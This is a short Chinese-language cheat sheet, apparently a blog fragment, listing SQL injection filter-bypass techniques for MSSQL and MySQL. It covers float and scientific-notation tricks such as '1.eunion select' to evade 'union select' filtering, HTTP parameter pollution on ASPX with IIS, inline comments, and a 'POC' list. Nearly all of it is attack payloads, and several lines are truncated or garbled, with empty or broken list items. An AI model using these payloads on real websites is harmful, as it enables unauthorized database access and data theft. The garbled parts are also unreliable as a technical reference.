MSSQL数据库特性
- 注释绕过:
- 浮点数:
select * from user where id=1.1union select 1,'2',db_name() from user
1EO
形式
select * from user where id=1e0union select 1,'2',db_name() from user
如执行
1 | select * from user where id=1.eunion select xxxxxxx |
等同于
1 | select * from user where id=1 union select xxxxxxx |
但是这样可以绕过对union select
的防御
HPP
特性
ASPX+IIS
搭配的时候同时提交参数id
,会接收所有的参数,通过逗号分割,比如在cookie、post、get
里都传入id=1
,那么最终的结果会是1,1,1
再比如这个url:http://www.a.com/index.php?id=1
存在sql
注入,那么可与这样子
get
请求中传入如下参数
1 | http://www.a.com/index.php?id=1.eunionselect null,null,name |
然后在post
请求中传入如下参数
最终的输出结果就会变成这个样子
1 | select * from 1.eunionselect null,null,namefrom xxxxxxx |
MYSQL特性
内联注释
如下方法可以快速的检测某处是否存在sql
注入漏洞
1 | http://www.xxx.com/index.php?id=1select; |
{x xxxx}
结果和这样一样
E0
浮点数
1 | .1union select * from xxxxx |
然后就会变成
1 | select * from xxxx where id=1.1union select * from xxxxx |
这样子的话id
就是不存在然后就会执行后面的SQL
语句
一些POC
1 | 1、from |
2 | 2、from |
3 | 3、Selectcolumn_namefrom |
4 | 4、column_name |
5 | 5、空格用代替 |
6 | 6、%53elect |
7 |
|